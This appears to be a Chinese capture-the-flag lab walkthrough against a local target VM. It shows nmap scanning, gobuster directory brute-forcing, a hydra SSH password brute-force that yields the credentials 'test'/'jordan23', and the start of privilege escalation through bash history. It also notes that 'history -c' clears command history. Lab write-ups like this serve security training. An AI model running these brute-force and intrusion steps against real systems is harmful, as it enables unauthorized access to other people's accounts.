描述

nmap扫描

  • 存活

image-20221129094406487

1
2
kali 192.168.169.220
靶机 192.168.169.230
  • 扫描靶机

image-20221129094756257

1
21 23 80

访问

80端口

image-20221129094852999

扫描目录

image-20221129095517163

image-20221129095608938

  • base64解密

image-20221129095716009

1
2
3
4
c3NoLWJydXRlZm9yY2Utc3Vkb2l0Cg==

ssh-bruteforce-sudoit
应该是提示 ssh连接 爆破 提权
  • gobuster Web目录爆破
1
gobuster dir -u http://192.168.169.230/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak

image-20221129101624387

1
2
3
4
5
/index.html           (Status: 200) [Size: 227]
/robots.txt (Status: 200) [Size: 139]
/ftc.html (Status: 200) [Size: 154]
/sudo.html (Status: 200) [Size: 281]
/ctf.html (Status: 200) [Size: 0]
  • ftc

image-20221129102157816

image-20221129102220285

  • sudo

image-20221129102307461

image-20221129102323596

  • ctf (空白页面)
1
ssh看到用户名 test 密码根据提示应该是爆破

ssh

  • 爆破
  • 注意端口
1
hydra -l test -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.169.230 -s 7223 -f

image-20221129103104099

1
[7223][ssh] host: 192.168.169.230   login: test   password: jordan23
1
ssh test@192.168.169.230 -p 7223

image-20221129103607231

Linux快速查看和执行历史命令

1. 查询历史命令

  • ctrl + r 搜索历史命令
  • ctrl + p 回显上一条历史命令
  • ctrl + n 回显下一条历史命令

2. 快速重复执行上一条命令

  • 使用上方向键,并回车执行
  • 使用 !! 并回车执行
  • !-1 并回车执行

3. 查找过去执行过的命令

1
2
3
4
history | less #预览所有历史命令(不会打印到终端)
history | more #预览所有历史命令(会打印到终端)
history | grep 'cd /var *' #查找包含cd /var字符串的所有历史命令
! <指令序号> #执行该序号所在的命令
1
2
空执行过的所有命令历史 history -c
~/.bash-history记录了一些有关 root 执行过的命令

提权

  • 查看历史命令
1
history | less

image-20221129104034249

image-20221129104241956